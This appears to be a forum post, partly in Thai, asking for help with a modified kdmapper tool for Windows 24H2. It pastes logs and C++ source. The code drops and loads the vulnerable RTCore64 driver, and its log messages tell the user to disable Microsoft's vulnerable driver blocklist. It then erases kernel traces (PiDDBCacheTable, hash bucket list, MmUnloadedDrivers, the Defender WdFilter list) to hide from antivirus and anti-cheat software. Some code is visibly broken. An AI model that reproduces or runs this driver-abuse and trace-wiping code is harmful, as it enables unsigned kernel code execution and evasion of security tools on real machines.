Error 24h2.3323

[xkp95175333]

Error how to add offset or update SRC
[<] Loading vulnerable driver, Name: PTWVFrbXnrBvF
[+] NtLoadDriver Status 0x0
[-] Failed to get ntoskrnl.exe
[<] Unloading vulnerable driver
[+] NtUnloadDriver Status 0x0
[+] Vul driver data destroyed before unlink
[+] Pausing to allow for debugging
[+] Press enter to close

amd i use kdmapper for debug this work

[ntoskrnl.exe]
MmAllocateIndependentPagesEx=10934604
MmFreeIndependentPages=3343344
PiDDBLock=16295008
PiDDBCacheTable=16614544
MmSetPageProtection=4928624

[ci.dll]
g_KernelHashBucketList=893064
g_HashCacheLock=266144

i user kdmapper Df Debug
cmd log

[+] Loading Symbols From Try\Symbols\ntkrnlmp.pdb\5F5FBEEF5EF14631D29F30AE73B74AF71\ntkrnlmp.pdb
[+] Symbol MmAllocateIndependentPagesEx Offset: 10934604
[+] Symbol MmFreeIndependentPages Offset: 3343344
[+] Symbol PiDDBLock Offset: 16295008
[+] Symbol PiDDBCacheTable Offset: 16614544
[+] Symbol MmSetPageProtection Offset: 4928624
[+] Loading Symbols From Try\Symbols\ci.pdb\F0A425A638D400C6EFA25A210A73DF591\ci.pdb
[+] Symbol g_KernelHashBucketList Offset: 893064
[+] Symbol g_HashCacheLock Offset: 266144
[+] Loaded ntoskrnl.exe - MmAllocateIndependentPagesEx - 0xa6d94c
[+] Loaded ntoskrnl.exe - MmFreeIndependentPages - 0x3303f0
[+] Loaded ntoskrnl.exe - PiDDBLock - 0xf8a460
[+] Loaded ntoskrnl.exe - PiDDBCacheTable - 0xfd8490
[+] Loaded ntoskrnl.exe - MmSetPageProtection - 0x4b3470
[+] Loaded ci.dll - g_KernelHashBucketList - 0xda088
[+] Loaded ci.dll - g_HashCacheLock - 0x40fa0
[+] 7 Symbols Loaded
[+] Ptr_Entry 0xFFFF88827DFD1830
[+] Table Cleaned
[+] BucketList 0xFFFFF8026526A088
[+] CacheLock
[+] BucketList Cleaned
[+] Unloaded Cleaned
[+] WdFilterList Cleaned
[+] Callback example called
[OutChack] Unloading vulnerable
[Unlink] Vul
[+] success

[xkp95175333]

i user this for Map Work
add psapi for Getaddress runtime and user Driver RTcore for user

#pragma comment(lib, "ntdll.lib")
#include <psapi.h>
#pragma comment(lib, "psapi.lib")
#include <DbgHelp.h>
#pragma comment(lib, "DbgHelp.lib")

how ti this i try in ❖ 💻Windows Os: (Auto_Os)
├── 🔸 Windows 10 Pro (1803➖22h2)➤[3031➖5734++]
├── 🔸 Windows 11 Pro (21h2➖23h2)➤[3447➖5334++]
└── 🔸 Windows 11 Pro 24H2 ➤[3323➖3624++]
workd all and now i ADd Auto offset user pdb and Get

u try Add fun service::LoadKernelDriver(const std::wstring& driver_name);

how to Getaddress runtiem

	uintptr_t WdFilter = utils::GetKernelModuleAddress("WdFilter.sys");
	if (!WdFilter) { WdFilter = (uint64_t)nt::get_Kernel_handle_user("WdFilter.sys"); }
	if (!WdFilter) {

		Log("[+] WdFilter.sys not loaded, clear skipped" << std::endl);
		return true;

	}

bool service::RegisterAndStart(const std::wstring& driver_path, const std::wstring& serviceName,DWORD OS) {
const static DWORD ServiceTypeKernel = 1;
const std::wstring servicesPath = L"SYSTEM\CurrentControlSet\Services\" + serviceName;
const std::wstring nPath = L"\??\" + driver_path;

HKEY dservice;
LSTATUS status = RegCreateKeyW(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &dservice); //Returns Ok if already exists
if (status != ERROR_SUCCESS) {
	Log("[-] Can't create service key" << std::endl);
	return false;
}

status = RegSetKeyValueW(dservice, NULL, L"ImagePath", REG_EXPAND_SZ, nPath.c_str(), (DWORD)(nPath.size() * sizeof(wchar_t)));
if (status != ERROR_SUCCESS) {
	RegCloseKey(dservice);
	Log("[-] Can't create 'ImagePath' registry value" << std::endl);
	return false;
}

status = RegSetKeyValueW(dservice, NULL, L"Type", REG_DWORD, &ServiceTypeKernel, sizeof(DWORD));
if (status != ERROR_SUCCESS) {
	RegCloseKey(dservice);
	Log("[-] Can't create 'Type' registry value" << std::endl);
	return false;
}

RegCloseKey(dservice);

HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == NULL) {
	return false;
}

//auto RtlAdjustPrivilege = (nt::RtlAdjustPrivilege)GetProcAddress(ntdll, "RtlAdjustPrivilege");
//auto NtLoadDriver = (nt::NtLoadDriver)GetProcAddress(ntdll, "NtLoadDriver");

ULONG SE_LOAD_DRIVER_PRIVILEGE = 10UL;
BOOLEAN SeLoadDriverWasEnabled;
NTSTATUS Status = nt::RtlAdjustPrivilege(SE_LOAD_DRIVER_PRIVILEGE, TRUE, FALSE, &SeLoadDriverWasEnabled);
if (!NT_SUCCESS(Status)) {
	Log("Fatal error: failed to acquire SE_LOAD_DRIVER_PRIVILEGE. Make sure you are running as administrator." << std::endl);
	return false;
}

std::wstring wdriver_reg_path = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\" + serviceName;
UNICODE_STRING serviceStr;
RtlInitUnicodeString(&serviceStr, wdriver_reg_path.c_str());

Status = nt::NtLoadDriver(&serviceStr);


Log("[+] NtLoadDriver Status 0x" << std::hex << Status << std::endl);

if (Status == 0xC0000603) { //STATUS_IMAGE_CERT_REVOKED
	Log("[-] Your vulnerable driver list is enabled and have blocked the driver loading, you must disable vulnerable driver list to use kdmapper with intel driver" << std::endl);
	Log("[-] Registry path to disable vulnerable driver list: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\CI\\Config" << std::endl);
	Log("[-] Set 'VulnerableDriverBlocklistEnable' as dword to 0" << std::endl);
}
else if (Status == 0xC0000022 || Status == 0xC000009A) { //STATUS_ACCESS_DENIED and STATUS_INSUFFICIENT_RESOURCES
	Log("[-] Access Denied or Insufficient Resources (0x" << std::hex << Status << "), Probably some anticheat or antivirus running blocking the load of vulnerable driver" << std::endl);
}


//Never should occur since kdmapper checks for "IsRunning" driver before
if (Status == 0xC000010E) {// STATUS_IMAGE_ALREADY_LOADED
	return true;
}

return NT_SUCCESS(Status);

}

bool service::LoadKernelDriver(const std::wstring& driver_name)
{
const static DWORD ServiceTypeKernel = 1;
const std::wstring servicesPath = L"SYSTEM\CurrentControlSet\Services\" + driver_name;
const std::wstring nPath = L"\??\" + driver_name;

HKEY dservice;
LSTATUS status = RegCreateKeyW(HKEY_LOCAL_MACHINE, servicesPath.c_str(), &dservice); //Returns Ok if already exists
if (status != ERROR_SUCCESS) {
	Log("[-] Can't create service key" << std::endl);
	return false;
}

status = RegSetKeyValueW(dservice, NULL, L"ImagePath", REG_EXPAND_SZ, nPath.c_str(), (DWORD)(nPath.size() * sizeof(wchar_t)));
if (status != ERROR_SUCCESS) {
	RegCloseKey(dservice);
	Log("[-] Can't create 'ImagePath' registry value" << std::endl);
	return false;
}

status = RegSetKeyValueW(dservice, NULL, L"Type", REG_DWORD, &ServiceTypeKernel, sizeof(DWORD));
if (status != ERROR_SUCCESS) {
	RegCloseKey(dservice);
	Log("[-] Can't create 'Type' registry value" << std::endl);
	return false;
}

RegCloseKey(dservice);

HMODULE ntdll = GetModuleHandleA("ntdll.dll");
if (ntdll == NULL) {
	return false;
}
std::wstring wdriver_reg_path = L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\" + driver_name;
UNICODE_STRING serviceStr;
RtlInitUnicodeString(&serviceStr, wdriver_reg_path.c_str());
 
 

Log("[+] Ptr ntdll 0x" << std::hex << ntdll << std::endl);
auto NtLoadDriver = (nt::Ca_NtLoadDriver)GetProcAddress(ntdll, "NtLoadDriver");
//get_Kernel_Fn_address
if (!NtLoadDriver)
{
	Log("[-] ไม่พบฟังก์ชัน NtLoadDriver ใน ntdll.dll" << std::endl);
	return false;
}
  status = NtLoadDriver(&serviceStr);
if (status == 0xC0000603)  // STATUS_IMAGE_CERT_REVOKED
{
	Log("[-] Driver ถูกบล็อกโดย vulnerable driver list" << std::endl);
	Log("[-] ปิดการใช้งาน vulnerable driver list ที่: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\CI\\Config" << std::endl);
	Log("[-] กำหนด 'VulnerableDriverBlocklistEnable' เป็น DWORD 0" << std::endl);
}
else if (status == 0xC000010E)  // STATUS_IMAGE_ALREADY_LOADED
{
	Log("[+] Driver load Service Finish" << std::endl);
	return true;
}
else if (!NT_SUCCESS(status))
{
	Log("[+] ข้อผิดพลาดในการโหลด driver: 0x" << std::hex << status << std::endl);
}
else
{
	Log("[+] โหลด driver สำเร็จ" << std::endl);
}

return NT_SUCCESS(status);

}
HANDLE intel_driver::Load(bool clean, DWORD OsWindo, DWORD ADATA_OJB) {

//
srand((unsigned)time(NULL) * GetCurrentThreadId());

// สร้างชื่อ driver แบบสุ่ม
memset(intel_driver::driver_name, 0, sizeof(intel_driver::driver_name));
static const char alphanum[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
int len = rand() % 20 + 10;
for (int i = 0; i < len; ++i)
	intel_driver::driver_name[i] = alphanum[rand() % (sizeof(alphanum) - 1)];

Log(L"[<] SetProtx Name Successfully" << std::endl);

std::wstring driver_path = GetDriverPath();
if (driver_path.empty()) {
	Log(L"[-] Can't find TEMP folder" << std::endl);
	return INVALID_HANDLE_VALUE;
}

_wremove(driver_path.c_str());



_wremove(driver_path.c_str());

if (!utils::CreateFileFromMemory(driver_path, reinterpret_cast<const char*>(rtcore64_driver_resource::driver), sizeof(rtcore64_driver_resource::driver))) {
	Log(L"[-] Failed to create vulnerable driver file" << std::endl);
	return INVALID_HANDLE_VALUE;
}


// ลองเปิด handle กับ driver ก่อน
if (!ma.Open()) {
	// ถ้ายังเปิดไม่ได้ แสดงว่ายังไม่โหลด => โหลด driver
	Log(L"[!] Driver not loaded yet, trying to load..." << std::endl);

	if (!service::RegisterAndStart(driver_path, GetDriverNameW(), 26100)) {
		Log(L"[-] Failed to register and start service" << std::endl);
		_wremove(driver_path.c_str());
		return INVALID_HANDLE_VALUE;
	}

	if (!service::LoadKernelDriver(driver_path)) {
		Log(L"[-] Failed to load kernel driver" << std::endl);
		_wremove(driver_path.c_str());
		return INVALID_HANDLE_VALUE;
	}

	// ลองเปิดใหม่อีกรอบ
	if (!ma.Open()) {
		Log(L"[-] Failed to open handle to driver after loading" << std::endl);
		intel_driver::Unload(INVALID_HANDLE_VALUE);
		return INVALID_HANDLE_VALUE;
	}
}
else {
	Log(L"[+] Driver already running and accessible" << std::endl);
}
auto result = INVALID_HANDLE_VALUE;
ntoskrnlAddr = utils::GetKernelModuleAddress("ntoskrnl.exe");
if (ntoskrnlAddr == 0) {
	ntoskrnlAddr = (uint64_t)nt::get_Kernel_handle_user("ntoskrnl.exe");
	if (ntoskrnlAddr == 0)
	{
		Log(L"[-] Failed to get ntoskrnl.exe" << std::endl);
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}

}




LoadLibraryA("user32.dll");
LoadLibraryA("win32u.dll");
uintptr_t win32k = utils::GetKernelModuleAddress("win32k.sys");
if (!win32k)
{
	win32k = (uint64_t)nt::get_Kernel_handle_user("win32k.sys");
	if (!win32k)
	{

		Log("[-] win32k.sys not found");
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}
}
//Log("[Debug] Ptr win32k 0x " << std::hex << (uintptr_t)win32k << std::endl);

LoadLibraryA("kernel32.dll");
LoadLibraryA("ntdll.dll");
char* PSNt_systemRoot;
size_t PSNt_path_len;
_dupenv_s(&PSNt_systemRoot, &PSNt_path_len, "systemroot");
std::string PSNt_ntos_path = std::string(PSNt_systemRoot) + "\\System32\\ntoskrnl.exe";
free(PSNt_systemRoot);
ez::pdb PSNt_ntos_pdb = ez::pdb(PSNt_ntos_path, "http://msdl.blackint3.com:88/download/symbols");
if (!PSNt_ntos_pdb.init())
{
	Log(L"[-] Failed to Load PDB" << std::endl);

	GetSystemDirectoryA(PSNt_systemRoot, MAX_PATH);
	PSNt_ntos_path = std::string(PSNt_systemRoot) + "\\ntoskrnl.exe";
	PSNt_ntos_pdb = ez::pdb(PSNt_ntos_path);
	if (!PSNt_ntos_pdb.init())
	{
		Log(L"[-] Failed to Load PDB" << std::endl);
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}
	return INVALID_HANDLE_VALUE;
}


LoadLibraryA("user32.dll");
LoadLibraryA("win32u.dll");
char* systemRootEnv;
size_t path_len;
_dupenv_s(&systemRootEnv, &path_len, "systemroot");
std::string ntos_path = std::string(systemRootEnv) + "\\System32\\win32k.sys";
free(systemRootEnv);
ez::pdb ntos_pdb = ez::pdb(ntos_path, "http://msdl.blackint3.com:88/download/symbols");
if (!ntos_pdb.init())
{
	Log(L"[-] Failed to Load PDB" << std::endl);

	GetSystemDirectoryA(systemRootEnv, MAX_PATH);
	ntos_path = std::string(systemRootEnv) + "\\win32k.sys";
	ntos_pdb = ez::pdb(ntos_path);
	if (!ntos_pdb.init())
	{
		Log(L"[-] Failed to Load PDB" << std::endl);
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}
	return INVALID_HANDLE_VALUE;
}

//if (osvi.dwBuildNumber >= 26100) {
if (OsWindo >= 26100) {

	uint32_t Km_rva_FindNtUserSetGestureConfig = ntos_pdb.get_rva("NtUserSetGestureConfig");

	uint32_t off1GestureConfig, off2GestureConfig, off3GestureConfig;
	nt::ResolveNtUserFunctionRVA(result, win32k, "NtUserSetGestureConfig", off1GestureConfig, off2GestureConfig, off3GestureConfig);

	#ifdef Build_LogAll	
	Log(L"[New] Set 1 rva_NtUserSetGestureConfig 0x" << std::hex << (uint32_t)Km_rva_FindNtUserSetGestureConfig << " Offsets_off1 0x" << std::hex << off1GestureConfig << L" Offsets_off2 0x" << std::hex << off2GestureConfig << L" Offsets_off3 0x" << std::hex << off3GestureConfig << std::endl);
	#endif

	//AutoGet_+disp
	if (win32k != 0x0 && off1GestureConfig != 0x0 && off2GestureConfig != 0x0 && off3GestureConfig != 0x0)
	{
		int gSessionGlobalSlots_rva = ntos_pdb.get_rva("gSessionGlobalSlots");
		if (gSessionGlobalSlots_rva == -1)
		{
			Log(L"[-] Failed to Load Symbol of gSessionGlobalSlots" << std::endl);
			intel_driver::Unload(result);
			return INVALID_HANDLE_VALUE;
		}
		uintptr_t gSessionGlobalSlots = win32k + gSessionGlobalSlots_rva;
		uintptr_t GetSessionState24H2 = 0;
		if (!ReadMemory(result, gSessionGlobalSlots, &GetSessionState24H2, sizeof(uintptr_t)) || !GetSessionState24H2)
		{
			Log(L"[-] GetSessionState24H2 not read 1" << std::endl);
			intel_driver::Unload(result);
			return INVALID_HANDLE_VALUE;
		}
		if (!ReadMemory(result, GetSessionState24H2, &GetSessionState24H2, sizeof(uintptr_t)) || !GetSessionState24H2)
		{
			Log(L"[-] GetSessionState24H2 not read 2" << std::endl);
			intel_driver::Unload(result);
			return INVALID_HANDLE_VALUE;
		}
		uintptr_t nt_qword = GetSessionState24H2 + off1GestureConfig;
		if (!ReadMemory(result, nt_qword, &nt_qword, sizeof(uintptr_t)) || !nt_qword)
		{
			Log(L"[-] nt_qword not read" << std::endl);
			intel_driver::Unload(result);
			return INVALID_HANDLE_VALUE;
		}
		nt_qword += off2GestureConfig;
		if (!ReadMemory(result, nt_qword, &nt_qword, sizeof(uintptr_t)) || !nt_qword)
		{
			Log(L"[-] nt_qword not read" << std::endl);
			intel_driver::Unload(result);
			return INVALID_HANDLE_VALUE;
		}
		NtUserSetGestureConfig_ref = nt_qword + off3GestureConfig; // Iuser pdb get offset for fun 
	}
	//Put_offset_disp
	else
	{

#ifdef Build_LogAll
Log(L"[*]Set 2 " << std::endl);
#endif
int gSessionGlobalSlots_rva = ntos_pdb.get_rva("gSessionGlobalSlots");
if (gSessionGlobalSlots_rva == -1)
{
Log(L"[-] Failed to Load Symbol of gSessionGlobalSlots" << std::endl);
intel_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
uintptr_t gSessionGlobalSlots = win32k + gSessionGlobalSlots_rva;
uintptr_t GetSessionState24H2 = 0;
if (!ReadMemory(result, gSessionGlobalSlots, &GetSessionState24H2, sizeof(uintptr_t)) || !GetSessionState24H2)
{
Log(L"[-] GetSessionState24H2 not read 1" << std::endl);
intel_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
if (!ReadMemory(result, GetSessionState24H2, &GetSessionState24H2, sizeof(uintptr_t)) || !GetSessionState24H2)
{
Log(L"[-] GetSessionState24H2 not read 2" << std::endl);
intel_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
uintptr_t nt_qword = GetSessionState24H2 + 0x88LL;
if (!ReadMemory(result, nt_qword, &nt_qword, sizeof(uintptr_t)) || !nt_qword)
{
Log(L"[-] nt_qword not read" << std::endl);
intel_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
nt_qword += 0x150LL;
if (!ReadMemory(result, nt_qword, &nt_qword, sizeof(uintptr_t)) || !nt_qword)
{
Log(L"[-] nt_qword not read" << std::endl);
intel_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}
if (ADATA_OJB <= 3999) {
NtUserSetGestureConfig_ref = nt_qword + 0xC30LL;
}
else if (ADATA_OJB >= 4000)
{
NtUserSetGestureConfig_ref = nt_qword + 0xC28LL;
}
}

}
//Window OS 1803-23h2
else
{

#ifdef Build_LogAll
Log(L"[*]Set 3 " << std::endl);
#endif
int NtUserSetGestureConfig_rva = ntos_pdb.get_rva("NtUserSetGestureConfig");
if (NtUserSetGestureConfig_rva == -1)
{
Log(L"[-] Failed to Load Symbol of NtUserSetGestureConfig" << std::endl);
intel_driver::Unload(result);
return INVALID_HANDLE_VALUE;
}

	uintptr_t NtUserSetGestureConfig = win32k + NtUserSetGestureConfig_rva;
	uintptr_t nt_qword = FindPatternAtKernel(result, NtUserSetGestureConfig, 0x100, (BYTE*)"\x48\x8B\x05", "xxx");
	if (!nt_qword)
	{
		Log(L"[-] NtUserSetGestureConfig not found" << std::endl);
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}
	int  nt_qword_offset = 0;
	if (!ReadMemory(result, nt_qword + 3, &nt_qword_offset, sizeof(int)))
	{
		Log(L"[-] NtUserSetGestureConfig not found" << std::endl);
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}

	NtUserSetGestureConfig_ref = nt_qword + nt_qword_offset + 7;
}	if (clean)
{
	if (!intel_driver::ClearPiDDBCacheTable(result)) {
		Log(L"[-] Failed to ClearPiDDBCacheTable" << std::endl);
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}
	else
	{

		Log("[clean] ClearPiDDBCacheTable " << std::endl);

	}

	if (!intel_driver::ClearKernelHashBucketList(result)) {
		Log(L"[-] Failed to ClearKernelHashBucketList" << std::endl);
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}
	else
	{
		Log("[clean] ClearKernelHashBucketList " << std::endl);
	}
	if (!intel_driver::ReleaseHashCacheLock(result)) {
		Log(L"[-] Failed to ReleaseHashCacheLock" << std::endl);
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}
	else
	{
		Log("[clean] ReleaseHashCacheLock " << std::endl);
	}

	//	if (!intel_driver::ClearMmUnloadedDrivers(ma.hDevice)) {
	if (!intel_driver::ClearMmUnloadedDrivers(ma.hDevice)) {
		Log(L"[!] Failed to ClearMmUnloadedDrivers" << std::endl);
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}
	else
	{
		Log("[clean] ClearMmUnloadedDrivers " << std::endl);
	}

	if (!intel_driver::ClearWdFilterDriverList(result)) {
		Log("[!] Failed to ClearWdFilterDriverList" << std::endl);
		intel_driver::Unload(result);
		return INVALID_HANDLE_VALUE;
	}
	else
	{
		Log("[clean] ClearWdFilterDriverList " << std::endl);
	}
}

return 0;

}

///

utlls.cpp

std::wstring utils::GetFullTempPath() {
wchar_t temp_directory[MAX_PATH + 1] = { 0 };
const uint32_t get_temp_path_ret = GetTempPathW(sizeof(temp_directory) / 2, temp_directory);
if (!get_temp_path_ret || get_temp_path_ret > MAX_PATH + 1) {
Log(L"[-] Failed to get temp path" << std::endl);
return L"";
}
if (temp_directory[wcslen(temp_directory) - 1] == L'\')
temp_directory[wcslen(temp_directory) - 1] = 0x0;

return std::wstring(temp_directory);

}

bool utils::ReadFileToMemory(const std::wstring& file_path, std::vector<uint8_t>* out_buffer) {
std::ifstream file_ifstream(file_path, std::ios::binary);

if (!file_ifstream)
	return false;

out_buffer->assign((std::istreambuf_iterator<char>(file_ifstream)), std::istreambuf_iterator<char>());
file_ifstream.close();

return true;

}

bool utils::CreateFileFromMemory(const std::wstring& desired_file_path, const char* address, size_t size) {
std::ofstream file_ofstream(desired_file_path.c_str(), std::ios_base::out | std::ios_base::binary);

if (!file_ofstream.write(address, size)) {
	file_ofstream.close();
	return false;
}

file_ofstream.close();
return true;

}

uint64_t nt::get_Kernel_handle_user(const char* module_name )
{
LPVOID drivers[1024] = {};
DWORD cbNeeded;

if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded))
	return 0;

int count = cbNeeded / sizeof(LPVOID);

for (int i = 0; i < count; ++i)
{
	char name[MAX_PATH] = {};
	if (GetDeviceDriverBaseNameA(drivers[i], name, sizeof(name) / sizeof(char)))
	{
		if (!module_name || _stricmp(name, module_name) == 0)
			return (uint64_t)reinterpret_cast<uintptr_t>(drivers[i]);
	}
}

return 0;

}

uint64_t nt::get_Kernel_Fn_address(const uintptr_t imageBase, const char* exportName)
{
if (!imageBase)
return 0;

if (reinterpret_cast<PIMAGE_DOS_HEADER>(imageBase)->e_magic != 0x5A4D)
	return 0;

const auto ntHeader = reinterpret_cast<PIMAGE_NT_HEADERS64>(imageBase + reinterpret_cast<PIMAGE_DOS_HEADER>(imageBase)->e_lfanew);
const auto exportDirectory = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(imageBase + ntHeader->OptionalHeader.DataDirectory[0].VirtualAddress);
if (!exportDirectory)
	return 0;

const auto exportedFunctions = reinterpret_cast<DWORD*>(imageBase + exportDirectory->AddressOfFunctions);
const auto exportedNames = reinterpret_cast<DWORD*>(imageBase + exportDirectory->AddressOfNames);
const auto exportedNameOrdinals = reinterpret_cast<UINT16*>(imageBase + exportDirectory->AddressOfNameOrdinals);

for (size_t i{}; i < exportDirectory->NumberOfNames; ++i)
{
	const auto functionName = reinterpret_cast<const char*>(imageBase + exportedNames[i]);
 
	if (_stricmp(exportName, functionName) == 0)
	{

	//	return reinterpret_cast<uint64_t>(imageBase + exportedFunctions[exportedNameOrdinals[i]]);
			return  (uintptr_t)reinterpret_cast<uint64_t*>(imageBase + exportDirectory->AddressOfNameOrdinals);;
	}
}

 
return 0;

}